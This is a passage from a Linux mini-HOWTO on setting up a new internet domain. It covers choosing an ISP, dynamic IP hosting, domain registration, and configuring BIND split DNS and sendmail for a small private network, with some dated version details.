As with anything, shop around. Determine which services are available in your area, as well as the costs associated with those services. Not all locations are wired to accept DSL, and some locations may not be suitable for wireless connections due to constraints of the landscape, architecture, or environment. Be prepared to provide the street address of the location where your hookup will be installed, as DSL speeds are strongly dependent on your distance from the switch, and ask specifically about such details as bandwidth between your machine and the provider, what has to be done to install the connection, and what hardware is provided in the quoted monthly rate. Also, you should have some idea of how many IP numbers you need for your own machines (remember that not all IP numbers in the block you get from the provider will be available for attaching your computers). Ask the provider what their total bandwidth is out to the outside world, as the quoted speed is only between your site and theirs. If the provider has insufficient bandwidth to the outside, the customers will suffer bottlenecks within the provider's network.

Once you have narrowed down a list of candidates, ask around, see if anybody can provide you with recommendations for the services you're considering. Ask them what sort of bandwidth they get to unloaded sites. Also, if you intend to have fast connections between the new domain and local ISP accounts from home, for telecommuting, or just remote administration, it is essential that you do a traceroute from your home ISP account to a host operating on the service you're considering. This will tell you how many hops, and how much latency you should expect, between home and the new domain. Latencies much above 100 to 200 milliseconds can be difficult to use for extended periods of time. The traceroute should be run around the time of day that you expect to make use of the network connection between home and the new domain.

4.2 Preparing For Hardware Installation

After you have chosen the provider and service type for the new domain, ask about installation details. You may require service calls from the telephone company as well as from the ISP in order to install the service, and the technicians may need access to controlled areas of your building, so inform the building engineer of the installation requirements.

Before the ISP technician arrives, ask for the network parameters, specifically the IP number, netmask, broadcast address, gateway routing address, DNS server address, and also what cabling you need to connect to the hardware delivered by the technician (i.e. straight-through or crossover RJ45 cabling, etc.).

Have one machine available for testing, and put it close to where the network connection hardware will be installed. If possible, configure it before the service technician arrives, setting the IP number and netmask, and have the appropriate cabling ready so that the installation and testing can be done quickly.

4.3 Testing The Connection

With your test machine attached to the ISP's hardware, make sure that you can ping sites beyond the ISP. If not, a traceroute to the outside can help to show where the connection is failing. If traceroute shows no successful hops it indicates that your test machine's network configuration (default route, interface address, NIC drivers, DNS, etc.) is incorrectly set. If it shows one hop, that could mean that your router is not correctly configured to communicate with the ISP. If it shows several hops before failing, the problem is almost certainly in the ISP or in the outside world, and beyond your immediate control.

4.4 Using A Dynamic IP

The benefits of a corporate connection, with a static IP block and various hosted services, comes with a cost. It can be more than ten times as expensive as a high speed home connection on DSL or cable modem. If the budget can't support a corporate connection, or if no such connections are available in your area, you might want to try to set up a domain on a dynamic IP. Instead of a range of IP numbers, you typically get exactly one, which means that your private network gateway machine will also have to host any incoming services from the outside.

First, you might want to check the legality of it. Many companies' user agreements explicitly forbid setting up externally-accessible servers on personal accounts. They may enforce this with packet filters blocking incoming connections on the http and FTP ports. You should also be aware that the quoted connection speed for personal accounts such as home DSL or cable modem are the downlink speeds, and that the uplink speeds might be much slower. The uplink speed is what is important for serving up FTP or web content.

If you have a dynamic IP, and you want to have incoming connections, you will have to subscribe to a dynamic IP hosting service, such as one of those listed at Dynamic DNS Providers. These services typically work by running software on your machine which passes your current IP number on to the company's servers. When your current IP number arrives at the servers, their DNS tables are updated to reflect the new value. You can either get a domain name under their domain name, such as ``example.dynip.com'' or ``example.dynhost.com'', or you can register your own domain and set the primary DNS authority to point to the company providing this service (usually at a higher cost).

There is also a free hosting service, at Domain Host Services. They seem fairly new, and there are few details on their web site at the moment, but you might find it worth a look.

If you have set up a dynamic IP, and subscribed to one of these services, it will affect some of the decisions you make in section Deciding Which Domain Services You Will Host. In particular, there is little point subscribing to a dynamic IP hosting service if you do not plan to host at least one of web or FTP services. You will have to set primary DNS authority to point to the company you've chosen. You should not have a named daemon answering requests from outside your private network. Other details, such as handling of email, will depend on the specifics of the service you've subscribed to, and can best be answered by the support staff of that company.

One final note: if you want to have remote access to a machine with a dynamic IP, but don't need it for hosting other services, the inexpensive solution is to create a ``drop box'' on a publicly accessible machine with a static IP, and have your dynamic IP host send its IP number there, either in email or simply by writing it into a file on a shell account. When you want to access your machine remotely, first extract the current IP number from the drop box, then use slogin to attach directly to that IP number. This is, after all, really all that a dynamic IP hosting service does, they just do it automatically over standard services, saving you some steps.


Setting Up Your New Domain Mini-HOWTO.: Registering A Domain Name

 Next Previous Contents

5. Registering A Domain Name

In order for people in the outside world to locate your servers under the domain name of your choice, whether for web, FTP, or email delivery, you will have to register the domain name for insertion into the relevant top level domain database.

Exercise some simple prudence in choosing your domain name. Certain words or phrases may be forbidden on the grounds of community standards, or may be offensive to visitors whose language or slang differs from that of your region. Domain names can contain only the 26 letters of the Roman alphabet (without accents), the hyphen (though not at the beginning or end of the name), and the 10 digits. Domain names are not case-sensitive, and can be at least 26 characters long (this limit is subject to change). Be careful not to register a name which you can reasonably have been expected to know infringes on the trademarks of an existing company, the courts are not kind to cybersquatters. Some information on the circumstances under which your poorly-chosen domain name might be stripped from your control are available in this Uniform Domain Name Dispute Resolution Policy.

There are many companies which register names in the ``.com'', ``.net'', and ``.org'' top level domains. For a current list, check the list of accredited registrars.

To register a name under a country top level domain, such as a ``.ca'', ``.de'', ``.uk'', etc., check with the appropriate authority, which can be located in the Country Code Top-Level Domains database.

Typically, you have to provide the registrar with contact information, primary and secondary DNS IP numbers, a change request validation scheme (you wouldn't want just anybody changing your domain for you), and money in the form of an annual fee. If you're not comfortable with the change request validation schemes offered by a registrar, let them know that you're not willing to use the service until they address your security concerns.


Setting Up Your New Domain Mini-HOWTO.: Deciding Which Domain Services You Will Host

 Next Previous Contents

6. Deciding Which Domain Services You Will Host

Most full-service ISPs will provide a variety of domain services for their customers. This is largely because of the problems associated with hosting these services under certain other, more popular desktop and server operating systems. These services are much easier to provide under Linux, and can be hosted on fairly inexpensive hardware, so you should decide what services you want to take on for yourself. Some of these services include:

  • Primary DNS authority on your domain. See section Primary DNS Authority.
  • Electronic mail. See section Electronic Mail.
  • Web space hosting. See section Web Space Hosting.
  • FTP space hosting. See section FTP Site Hosting.
  • Packet filtering. See section Packet Filtering.

In each of these, you basically have to weigh convenience against control. When your ISP performs one or more of these services, you can usually be fairly sure that they have people with experience maintaining the service, so you have less to learn, and less to worry about. At the same time, you lose control over these services. Any changes require that you go through the technical support of your ISP, something which may sometimes be inconvenient or cause longer delays than you would like. There's also a security issue involved, the ISP is a much more tempting target to attackers than your own site. Since an ISP's servers might host email and/or web space for the dozens of companies which are their customers, an attacker who compromises one of those servers gets a much higher return for his efforts than one who attacks your personal servers, where only one company's data is kept.

6.1 Primary DNS Authority

When a person somewhere in the outside world attempts to connect to a machine in the new example.com domain, queries are sent between various servers on the Internet, ultimately resulting in the IP number of that machine being returned to the software of the person attempting the connection. The details of this sequence are beyond the scope of this document. Neglecting many details, when a request is made for the machine fred.example.com, a centralized database is consulted to determine what is the IP number of the machine which holds primary DNS authority for the example.com domain. This IP number is then queried for the IP number of the machine fred.example.com.

There must be a primary and a secondary DNS server for every domain name. The names and IP numbers of these two servers are stored in a centralized database whose entries are controlled by domain registration authorities such as Network Solutions.

If you elect to have primary DNS authority hosted by your ISP, these two servers will probably both be machines controlled by the ISP. Any time you want to add an externally visible machine to your network, you will have to contact the ISP and ask them to put the new machine in their database.

If you elect to hold primary DNS authority on your own host, you will still use another machine as your secondary. Technically, you should use one on a redundant Internet connection, but it is very common that the secondary is held on one of your ISP's machines. If you want to add an externally visible machine to your network, you will have to update your own database, and then wait for the change to propagate (something which takes, typically, a small number of hours). This allows you to add barney.example.com without having to go through your ISP.

It is a good idea to set up secondary DNS on a geographically distant host, so that a single cable cut near your ISP doesn't take both your primary and secondary DNS servers off line. The domain registrar you used to register your domain name may provide secondary DNS service. There is also a free service, Granite Canyon, available to anybody who asks.

Regardless of whether or not you choose to act as primary DNS authority for your domain, see section Setting Up Name Resolution for configuration help. You will want some sort of name resolution system for your private network, even if you delegate primary DNS authority to the ISP.

6.2 Electronic Mail

When you subscribe with your ISP, they will typically supply a number of email boxes. You can elect to use this service exclusively, in which case all incoming email is stored on the ISP's servers and your users read their mail with POP3 clients which connect to the ISP's servers. Alternately, you may decide to set up email on your own machines. Once again, you should weigh the merits of the two approaches, and choose the one which you prefer.

Things to remember if you use the ISP for all email:

  • It may be easier to access the email from home, or from other locations when you're on a business trip, depending on the security which you use to protect your domain.
  • Email is routinely stored on the ISP's servers, which may be a problem if sensitive material is sent unencrypted.
  • You have a limited number of email accounts, and may have to pay if you exceed this limit.
  • To create a new email address, you have to go through the ISP.

Things to remember if you provide your own email:

  • Email is routinely stored on your own servers, with backup storage on your ISP if your mail host goes down or its disk fills up.
  • You have an essentially unlimited number of email accounts, which you can create and delete yourself.
  • You have to support the email clients used on your private network, and possibly by people trying to read their email from home.

One possible approach is to host email yourself, but also use the several email addresses provided by the ISP. People who need email accessible from outside the private network can have an email address in your domain which gets redirected to one of the ISP-supplied email addresses. Others can have local email on the private network. This requires a bit more coordination and configuration, but gives more flexibility than either of the other approaches.

Should you choose to host email for your domain, see section Setting Up Email For Your Domain for configuration help.

If you decide not to host email for your domain, refer to section DNS Configuration If You Are Not Hosting Email for important notes on the name resolution configuration.

6.3 Web Space Hosting

Your ISP may allocate you a certain amount of space on their web servers. You might decide to use that, or you might have a web hosting machine which you put on your external network, in one of your external IP numbers.

Points to remember if you choose to use the ISP's web space hosting:

  • You have a certain disk space allocation which you should not exceed. This will include not only web space contents, but also data collected from people visiting the site.
  • The bandwidth between your web server and the outside world will almost certainly be higher than it would be if you hosted it on your own hardware. In any case, it will not be slower.
  • It may be difficult to install custom CGI scripts or commercial packages on your web site.
  • Your bandwidth between your network and your web server will almost certainly be lower than it would be if you hosted it on your own network.

Points to remember if you choose to host your own web space:

  • You have much more control over the hosting machine. You can tailor your security more precisely for your application.
  • Potentially sensitive data, such as credit card numbers or mailing addresses, remains on machines which you control.
  • Your backup strategy is probably not as comprehensive as your ISP's.

Notice that I do not mention anything about the ISP having more powerful hardware, higher peak data rates, and so on. By the time these things become important, you're talking about very high data rate network connections, and, quite frankly, you had better be delegating these decisions to a skilled consultant, not looking in a Linux HOWTO.

Should you choose to host web space for your domain on your own server(s), refer to other documents, such as the WWW-HOWTO, for configuration help. I strongly recommend that this service be run on a different machine from the private network gateway machine, for security reasons.

6.4 FTP Site Hosting

Basically, the same arguments apply to FTP hosting as apply to WWW hosting, with the exception that active content is not an issue for FTP, and CGI scripts don't appear. Most of the recent ftpd exploits have come from buffer overruns resulting from the creation of large directory names in anonymously-writable upload directories, so if your ISP allows uploads and is lax in keeping up with security updates on the FTP daemon, you might be better off hosting this service yourself.

Should you choose to host FTP for your domain on your own server(s), make sure to get the latest version of your FTP daemon, and consult the configuration instructions there. Once more, I strongly recommend that this service be run on a different machine from the private network gateway machine, for security reasons.

For wu-ftpd, I would recommend the following configuration options:

  • --disable-upload - unless you need anonymous uploads
  • --enable-anononly - encourage your local users to use scp to transfer files between machines.
  • --enable-paranoid - disable whatever features of the current release might be considered questionable.

6.5 Packet Filtering

Some ISPs will put packet filters on their network, to protect the users of the system from each other, or from external attackers. Cable modem networks and similar broadcast networks have had embarrassing problems when users of Windows 95 or 98 inadvertently set up disk shares, exporting the full contents of their hard drives to anybody on the network segment who cared to browse for active servers in the neighbourhood. In some cases, the solution has been to tell the users not to do that, but some providers have put filtering into the access hardware to prevent people from exporting their data by accident.

Packet filtering is really something which you ought to do yourself. It fits in easily into the kernel running on your private network gateway machine and gives you a better idea of what's happening around you. You often will find that you have to make small tweaks to the firewall to optimize it during the initial setup, and this is much easier to do in real time than through a technical support contact.

Should you choose to do packet filtering for your domain, see section Setting Up Packet Filtering for configuration help.


Setting Up Your New Domain Mini-HOWTO.: Configuring Your Hosted Services

 Next Previous Contents

7. Configuring Your Hosted Services

7.1 Setting up Name Resolution

You will want some way for the computers on your network to refer to one another by name, and also a way for people in the outside world to refer to your exposed hosts by name. There are several ways to go about doing this.

DNS On Private Network, ISP Handles Domain

[ Note: if you have chosen not to implement a private network, go to section Fully Exposed Network, Hosted By ISP. ]

In this configuration, you have delegated responsibility for the primary DNS authority on your domain to the ISP. You still use DNS within your private network when hosts there want to talk to one another. You have given your ISP a list of the names and IP numbers of all exposed hosts. If you want one externally visible machine, for instance betty.example.com, to act both as web and FTP server, you should ask the ISP to make CNAME entries for www.example.com and ftp.example.com pointing to betty.example.com.

Set up DNS on your private network gateway machine. This can be done securely, and makes upgrading easier, should you later decide to host primary DNS authority for your domain.

I will assume that you have decided to host DNS from the machine dns.example.com, which is on the private network gateway, and an alias for fred.example.com at 192.168.1.1. Some small modifications have to be made to this configuration if this is not the case. I will not cover that in this HOWTO unless there is significant interest.

You will have to download and compile a recent version of BIND, the Berkeley Internet Name Domain. It is available at the BIND web site. Next, you have to configure the daemon. Create the following file, /etc/named.conf:

options {
        directory "/var/named";
        listen-on { 192.168.1.1 };
};

zone "." {
        type hint;
        file "root.hints";
};

zone "0.0.127.in-addr.arpa" {
        type master;
        file "pz/127.0.0";
};

zone "1.168.192.in-addr.arpa" {
        type master;
        file "pz/1.168.192";
};

zone "example.com" {
        type master;
        notify no;
        file "pz/example.com";
};

Note that we are declaring ourselves the master for the example.com domain. Meanwhile, our ISP is also declaring itself to be the master for the same domain. This is not a problem, as long as you are careful about the setup. All of the machines on the private network must use dns.example.com to perform their name resolution. They must not use the name resolvers of the ISP, as the ISP name server believes itself to be authoritative over your entire domain, but it doesn't know the IP numbers or names of any machines on your private network. Similarly, hosts on exposed IP numbers in your domain must use the ISP name server, not the private name server on dns.example.com.

The various files under /var/named must now be created.

The root.hints file is exactly as described in the BIND documentation, or in the DNS HOWTO. At the time of this writing, the following is a valid root.hints file:

H.ROOT-SERVERS.NET.     6d15h26m24s IN A  128.63.2.53
C.ROOT-SERVERS.NET.     6d15h26m24s IN A  192.33.4.12
G.ROOT-SERVERS.NET.     6d15h26m24s IN A  192.112.36.4
F.ROOT-SERVERS.NET.     6d15h26m24s IN A  192.5.5.241
B.ROOT-SERVERS.NET.     6d15h26m24s IN A  128.9.0.107
J.ROOT-SERVERS.NET.     6d15h26m24s IN A  198.41.0.10
K.ROOT-SERVERS.NET.     6d15h26m24s IN A  193.0.14.129
L.ROOT-SERVERS.NET.     6d15h26m24s IN A  198.32.64.12
M.ROOT-SERVERS.NET.     6d15h26m24s IN A  202.12.27.33
I.ROOT-SERVERS.NET.     6d15h26m24s IN A  192.36.148.17
E.ROOT-SERVERS.NET.     6d15h26m24s IN A  192.203.230.10
D.ROOT-SERVERS.NET.     6d15h26m24s IN A  128.8.10.90
A.ROOT-SERVERS.NET.     6d15h26m24s IN A  198.41.0.4

The pz/127.0.0 file is as follows:

$TTL 86400

@               IN      SOA     example.com. root.example.com. (
                                1       ; Serial
                                8H      ; Refresh
                                2H      ; Retry
                                1W      ; Expire
                                1D)     ; Minimum TTL
                        NS      dns.example.com.
1                       PTR     localhost.

The pz/1.168.192 file is as follows:

$TTL 86400

@       IN      SOA             dns.example.com. root.dns.example.com. (
                                1       ; Serial
                                8H      ; Refresh 8 hours
                                2H      ; Retry   2 hours
                                1W      ; Expire  1 week
                                1D      ; Minimum 1 day
                        )
                NS      dns.example.com.

1               PTR     fred.example.com.
                PTR     dns.example.com.
                PTR     mail.example.com.
2               PTR     barney.example.com.
3               PTR     wilma.example.com.
and so on, where you create one PTR record for each machine with an interface on the private network. In this example, fred.example.com is on IP number 192.168.1.1, and is pointed to by the dns.example.com and mail.example.com aliases. The machine barney.example.com is on IP number 192.168.1.2, and so on.

The pz/example.com file is as follows:

$TTL 86400

@               IN      SOA     example.com. root.dns.example.com. (
                                1       ; Serial
                                8H      ; Refresh 8 hours
                                2H      ; Retry   2 hours
                                1W      ; Expire  1 week
                                1D      ; Minimum 1 day
                        )
                        NS              dns.example.com.
        IN              A               192.168.1.1
        IN              MX          10  mail.example.com.
        IN              MX          20  <ISP mail machine IP>.

localhost               A           127.0.0.1
fred                    A           192.168.1.1
                        A           10.1.1.9
dns                     CNAME       fred
mail                    CNAME       fred
barney                  A           192.168.1.2
wilma                   A           192.168.1.3
betty                   A           10.1.1.10
www                     CNAME       betty
ftp                     CNAME       betty
Note that we create entries for machines both within the private network and on external IPs, since machines within the private network will not query the ISP's name servers for a request on, say, betty.example.com. We also provide both IP numbers for fred, the private and external IP numbers.

One line in the ``options'' section of /etc/named.conf bears discussion:

listen-on { 192.168.1.1 };
This will prevent your named daemon from answering DNS requests on the outside interface (all requests from the outside must go through the ISP's name resolver, not yours).

Non-DNS Resolution On Private Network, ISP Handles Domain

[ Note: if you have chosen not to implement a private network, go to section Fully Exposed Network, Hosted By ISP. ]

In this configuration, you have decided that your private network is fairly small and unlikely to change often. You have decided not to use the centralized database of a DNS server, and instead to maintain the host resolution separately on each machine. All machines should use the ISP's DNS server for their host name resolution for machines beyond the private network gateway. For name resolution on the private network, a hosts table has to be created. For Linux, this means entering the names and IP numbers of all of the machines on the private network into the /etc/hosts on each machine. Any time a new machine is added, or a name or IP number is changed, this file has to be updated on each Linux box.

As in section DNS Resolution on Private Network, ISP Handles Domain, the list of host names on exposed IP numbers must be sent to the ISP, and any aliases (such as for www and ftp names) should be specified so that a CNAME entry can be created by the ISP.

You Are Primary DNS Authority For Domain

While you could set up named resolution on the exposed hosts, and private database resolution for the private network, I will not cover that case. If you're going to be running named for one service, you ought really to do it for both, just to simplify the configuration. In this section I will assume that the private network gateway machine is handling name resolution both for the private network and for outside requests.

At the time of this writing, under version 8.2.2 of the BIND package, there is no way for a single named daemon to produce different answers to requests, depending on which interface the request arrives on. We want name resolution to act differently if the query comes from the outside world, because IP numbers on the private network shouldn't be sent out, but have to be available in answer to requests from within the private network. There is some discussion of a new ``views'' keyword which may be added to BIND to fill this need at a later date, but until that happens, the solution is to run two named daemons with different configurations.

First, set up the private network domain name server as described in section DNS Resolution on Private Network, ISP Handles Domain. This will be the name resolver visible from within your private network.

Next, you have to set up DNS for your domain, as visible to hosts in the outside world. First, check with your provider to see if they will delegate reverse lookups of your IP numbers to them. While the original DNS standard didn't account for the possibility of controlling reverse DNS on subnets smaller than a class C network, a workaround has been developed which works with all compliant DNS clients, and has been outlined in RFC 2317. If your provider is willing to delegate control of reverse DNS on your IP block, you will have to determine from them the exact name of the in-addr pseudo-domain they have chosen to delegate to (the RFC does not offer a convention they recommend for everyday use), and you will have to register control for that pseudo-domain. I will assume that the provider has delegated control to you, and the name of the pseudo-domain is 8.1.1.10.in-addr.arpa. The provider would create CNAME entries of the form

8.1.1.10.in-addr.arpa.     2H IN CNAME 8.8.1.1.10.in-addr.arpa.
9.1.1.10.in-addr.arpa.     2H IN CNAME 9.8.1.1.10.in-addr.arpa.
10.1.1.10.in-addr.arpa.    2H IN CNAME 10.8.1.1.10.in-addr.arpa.
etc.
in their zone file for the 1.1.10.in-addr.arpa domain. The configuration of your 8.1.1.10.in-addr.arpa zone file is given later in this section.

If your provider is willing to delegate control of the reverse DNS to you, they will create CNAME entries in their reverse DNS zone table for those IP numbers you control, pointing to the corresponding records in your pseudo-domain, as shown above. If they are not willing to delegate control to you, you will have to ask them to update their reverse DNS entries any time you add, delete, or change the name of an externally visible host in your domain. If the reverse DNS table is not synchronized with your forward DNS entries, certain services may generate warnings, or refuse to handle requests issued by machines affected by the mismatch.

You now have to create a second named setup, this one to handle requests issued by machines outside the private network gateway. This setup lists only those hosts and IP numbers which are externally visible, and responds only to requests on the outside interface of the private network gateway machine.

First, create a second configuration file, for instance /etc/named.ext.conf for requests from the external interface. In our example, it might be as follows:

options {
        directory "/var/named";
        listen-on { 10.1.1.9; };
};

zone "." {
        type hint;
        file "root.hints";
};

zone "0.0.127.in-addr.arpa" {
        type master;
        file "pz/127.0.0";
};

zone "8.1.1.10.in-addr.arpa" {
        type master;
        file "ext/8.1.1.10";
};

zone "example.com" {
        type master;
        notify no;
        file "ext/example.com";
};

The root.hints and pz/127.0.0 files, both under /var/named are shared with the other running daemon. The file ext/8.1.1.10 is as follows:

$TTL 86400

@       IN      SOA             fred.example.com. root.fred.example.com. (
                                1               ; Serial
                                10800           ; Refresh       3 hours
                                3600            ; Retry         1 hour
                                3600000         ; Expire        1000 hours
                                86400 )         ; Minimum       24 hours
                NS      dns.example.com.
9       IN      PTR     fred.example.com.
                PTR     dns.example.com.
                PTR     mail.example.com.
10      IN      PTR     betty.example.com.
                PTR     www.example.com.
                PTR     ftp.example.com.

The file ext/example.com contains the following:

$TTL 86400

@               IN      SOA     example.com. root.fred.example.com. (
                                10021   ; Serial
                                8H      ; Refresh 8 hours
                                2H      ; Retry   2 hours
                                1W      ; Expire  1 week
                                1D      ; Minimum 1 day
                        )
                        NS              fred.example.com.
        IN              A               10.1.1.9
        IN              MX          10  mail.example.com.
        IN              MX          20  <ISP Mail Machine>.

localhost               A           127.0.0.1
fred                    A           10.1.1.9
betty                   A           10.1.1.10
dns                     CNAME       fred
mail                    CNAME       fred
www                     CNAME       betty
ftp                     CNAME       betty

Start the two daemons on the private network gateway machine. Put the following into your network daemon initialization scripts:

/usr/sbin/named -u dnsuser -g dnsgroup /etc/named.conf
/usr/sbin/named -u dnsuser -g dnsgroup /etc/named.ext.conf
I've assumed here that you have created the unprivileged user ``dnsuser, and the corresponding unprivileged group ``dnsgroup''. If a bug in bind turns up, which allows an attacker to execute code from within named, the attacker will find himself restricted to those operations available to the unprivileged user. The /var/named directory and the files within should not be writable by ``dnsuser''.

The machines on the private network must have their name resolution configured to ask dns.example.com (at IP 192.168.1.1 in our example), while the externally visible machines can either query the network gateway's outside interface (at IP 10.1.1.9 in our example), or the ISP's DNS servers.

Fully Exposed Network, Hosted By ISP

In this configuration, you have chosen to expose all of your hosts. You have a real IP number for each machine in your domain, and you've given your ISP the list of machine names and IP numbers. The ISP has given you at least one IP number for their DNS host(s). Your Linux boxes are now configured for name resolution in /etc/resolv.conf:

search example.com
nameserver <DNS host 1>
nameserver <DNS host 2>

Windows boxes are configured with the same parameters, in the network settings dialogues.

Preparing DNS Before Moving Your Domain

If you decide to move your domain to a new IP number, either because you have to change your ISP or because you've changed some details of your service which require you to move to a new IP number from the same ISP, you will have to make a few preparations ahead of the move.

You want to set things up so that the IP number fetched by a DNS lookup somewhere in the outside world points properly to the original IP number until you move, and then quickly points to the new IP number after you move. Remote sites can have cached your IP number, and subsequent queries may be answered locally from the cache, rather than querying the appropriate servers. The effect of this might be that people who had visited your site recently are unable to connect, while new visitors have no problems, because only the new visitors are getting valid uncached data. Complicating things further is the fact that the root-level servers are only updated twice a day, so it's difficult to time a change to the identities of your primary and secondary DNS servers in the root servers.

The easiest way to make the transition is probably to duplicate the entire site, or at least the publicly visible components of it, on the new IP number, submit the changes, and then wait for the traffic to shift completely to the new IP number. This is probably not very practical, though.

What you should do first is to arrange with your new ISP (or your current ISP if you've just changing IP numbers within a single ISP) to host primary and secondary DNS during the transition. This should be done at least a day before the move. Ask them to set the TTL on this record to something appropriately small (for instance, five minutes). The sample DNS files given earlier in this section all have TTL values set to 86400 seconds (1 day). If your TTL is longer than this, you will have to arrange the change that much more in advance of the move. Ultimately, here's what you have to achieve. If your current domain information TTL is, say, N hours, then the following have to be finished more than N hours before the move:

  • Your domain registration entry must show primary and secondary DNS on the new ISP's machines in the root database. Allow at least a day between the time you submit the change and the time the change enters the database.
  • The new primary and DNS servers should point to the original IP numbers of your site, with a fairly small TTL.
Note that you cannot accelerate this process by reducing your current domain TTL value, unless you've also done this at least N hours before the move.

Now, you're ready for the move. Move your machines over to the new IP numbers. Synchronize this with an update of the DNS records on your ISP to point to the new numbers. Within five minutes (the small TTL you set for the move), the traffic should have switched over to the new site. You can now rearrange the DNS authority to your liking, making yourself primary if that's how you want it, and putting the TTL back up to a reasonably large value.

7.2 DNS Configuration If You Are Not Hosting Email

The configurations described in section Setting Up Name Resolution have MX records pointing to a machine ``mail.example.com''. The MX record with the lowest priority number following tells remote sites where to send email. Other MX records with higher priority numbers are used as backup email receivers. These backups will hold the mail for a certain period of time if the primary email receiver is not able to accept the messages for some reason. In the examples in that section, I have assumed that fred.example.com, under its alias of mail.example.com, is handling email for the domain. If you have chosen to let the ISP handle all of your email hosting, you should change those MX records to point to the appropriate ISP machines. Ask your ISP technical support representative what host names you should use for the MX records in the various files.

7.3 Setting up Electronic Mail

If you have chosen to do full electronic mail hosting for your domain, you'll have to take special actions for email coming from hosts on the private network, and for allowing transparent mail reading from anywhere within the private network. Unless you're careful, messages are likely to sit around for long times if they are waiting on one host, and the intended recipient is logged on another machine. For security reasons, I recommend that the incoming email not be accessible from the externally visible hosts (this might help to discourage a PHB who wants his desktop machine to be on a real IP, then wonders why he gets brought down by a ping of death twice a day). A transparent email sharing system on the private network fairly straight-forward in sendmail. If anybody wants to provide tested solutions for other mail handling daemons, I welcome additions.

A Solution Using "sendmail"

In order that email delivered to one host be visible on all machines, the simplest solution is to export the mail spool directory with read-write privileges over the entire private network. The private network gateway machine will also act as mail collector and forwarder for the entire private network, and so must have root write privileges to the mail spool drive. The other clients may or may not squash root, at your discretion. My general security philosophy is not to grant privileges unless there is a clear reason for it, so I squash root on the mail spool network drive for all hosts except the private network gateway machine. This has the effect that root can only read his mail from that machine, but this is not a particularly serious handicap. Note that the mail spool drive can be a directory on the private network gateway machine, exported via NFS, or it can be a directory on one of the internal servers, exported to the entire private network. If the mail spool drive is resident on the private network gateway, there is no issue of squashing root for that machine. If it is on another server, then note that email will be undeliverable if that server, the gateway machine, or the network connecting them, is down.

For Windows machines on your private network, you may either set up a POP server on the mail spool host, or use samba to export the mail spool to those machines. The Windows machines should be configured to send and retrieve mail under a Linux username, such as joeuser@example.com, so that the email address host name is the bare domain name, not a machine name like barney.example.com. The outgoing SMTP host should be set to the private network gateway machine, which will be responsible for forwarding the mail and doing any address rewriting.

Next, you should configure sendmail to forward email from the machines on the private network, rewriting the addresses if necessary. Obtain the latest sources to sendmail from the sendmail.org WWW site. Compile the binaries, then go to the cf/domain subdirectory within the sendmail source tree, and create the following new file: example.com.m4

divert(-1)
#
# Copyright (c) 1998 Sendmail, Inc.  All rights reserved.
# Copyright (c) 1983 Eric P. Allman.  All rights reserved.
# Copyright (c) 1988, 1993
#       The Regents of the University of California.  All rights reserved.
#
# By using this file, you agree to the terms and conditions set
# forth in the LICENSE file which can be found at the top level of
# the sendmail distribution.
#
#

#
#  The following is a generic domain file.  You should be able to
#  use it anywhere.  If you want to customize it, copy it to a file
#  named with your domain and make the edits; then, copy the appropriate
#  .mc files and change `DOMAIN(generic)' to reference your updated domain
#  files.
#
divert(0)
define(`confFORWARD_PATH', `$z/.forward.$w+$h:$z/.forward+$h:$z/.forward.$w:$z/.forward')dnl
FEATURE(redirect)dnl
MASQUERADE_AS(example.com)dnl
FEATURE(masquerade_envelope)dnl

This defines the domain ``example.com''. Next, you have to create the sendmail.cf files which will be used on the mail host (the private network gateway), and on the other Linux nodes on the private network.

Create the following file in the sendmail source tree, under cf/cf: example.master.m4

divert(-1)
#
# Copyright (c) 1998 Sendmail, Inc.  All rights reserved.
# Copyright (c) 1983 Eric P. Allman.  All rights reserved.
# Copyright (c) 1988, 1993
#       The Regents of the University of California.  All rights reserved.
#
# By using this file, you agree to the terms and conditions set
# forth in the LICENSE file which can be found at the top level of
# the sendmail distribution.
#
#

#
#  This is the prototype file for a configuration that supports nothing
#  but basic SMTP connections via TCP.
#
#  You MUST change the `OSTYPE' macro to specify the operating system
#  on which this will run; this will set the location of various
#  support files for your operating system environment.  You MAY
#  create a domain file in ../domain and reference it by adding a
#  `DOMAIN' macro after the `OSTYPE' macro.  I recommend that you
#  first copy this to another file name so that new sendmail releases
#  will not trash your changes.
#

divert(0)dnl
OSTYPE(linux)dnl
DOMAIN(example.com)dnl
FEATURE(nouucp)
FEATURE(relay_entire_domain)
FEATURE(`virtusertable', `hash /etc/sendmail/virtusertable')dnl
FEATURE(`genericstable', `hash /etc/sendmail/genericstable')dnl
define(`confPRIVACY_FLAGS', ``noexpn,novrfy'')dnl
MAILER(local)
MAILER(smtp)
Cw fred.example.com
Cw example.com
In this example we have disabled the ``expn'' and ``vrfy'' commands. An attacker could troll for aliases with ``expn'', trying names like ``staff'', ``allstaff'', ``office'', and so on, until he hits an alias which expands out several usernames for him. He can then try the usernames against certain weak passwords in hopes of getting in (assuming he can get a login prompt - the security settings described in section Securing Your Domain are set up so that no login prompt is available for off-site attackers).

The other file you should create will define the sendmail.cf for the slave machines: example.slave.m4

divert(-1)
#
# Copyright (c) 1998 Sendmail, Inc.  All rights reserved.
# Copyright (c) 1983 Eric P. Allman.  All rights reserved.
# Copyright (c) 1988, 1993
#       The Regents of the University of California.  All rights reserved.
#
# By using this file, you agree to the terms and conditions set
# forth in the LICENSE file which can be found at the top level of
# the sendmail distribution.
#
#

#
#  This the prototype for a "null client" -- that is, a client that
#  does nothing except forward all mail to a mail hub.  IT IS NOT
#  USABLE AS IS!!!
#
#  To use this, you MUST use the nullclient feature with the name of
#  the mail hub as its argument.  You MUST also define an `OSTYPE' to
#  define the location of the queue directories and the like.
#  In addition, you MAY select the nocanonify feature.  This causes
#  addresses to be sent unqualified via the SMTP connection; normally
#  they are qualified with the masquerade name, which defaults to the
#  name of the hub machine.
#  Other than these, it should never contain any other lines.
#

divert(0)dnl

OSTYPE(linux)
FEATURE(nullclient, fred.$m)
Cm example.com

You build the appropriate sendmail.cf files with the command:

make example.master.cf example.slave.cf
and then copy the files to the appropriate machines under the name sendmail.cf.

This configuration puts most of the sendmail configuration files under the /etc/sendmail/ subdirectory. This configuration causes sendmail to parse and use two special files, virtusertable.db and genericstable.db. To use these special files, create their parent files. First, virtusertable.src:

John.Public@example.com                 jpublic
Jane.Doe@example.com                    jdoe@somemachine.somedomain
abuse@example.com                       root
Pointyhaired.Boss@example.com           #phb#@hotmail.com
This maps the email addresses on incoming email to new destinations. Mail sent to John.Public@example.com is delivered locally to the Linux account jpublic. Mail to Jane.Doe@example.com is redirected to another email account, possibly in a different domain. Mail to abuse@example.com is sent to root, and so on. The other file is genericstable.src:
jpublic                                 John.Public@example.com
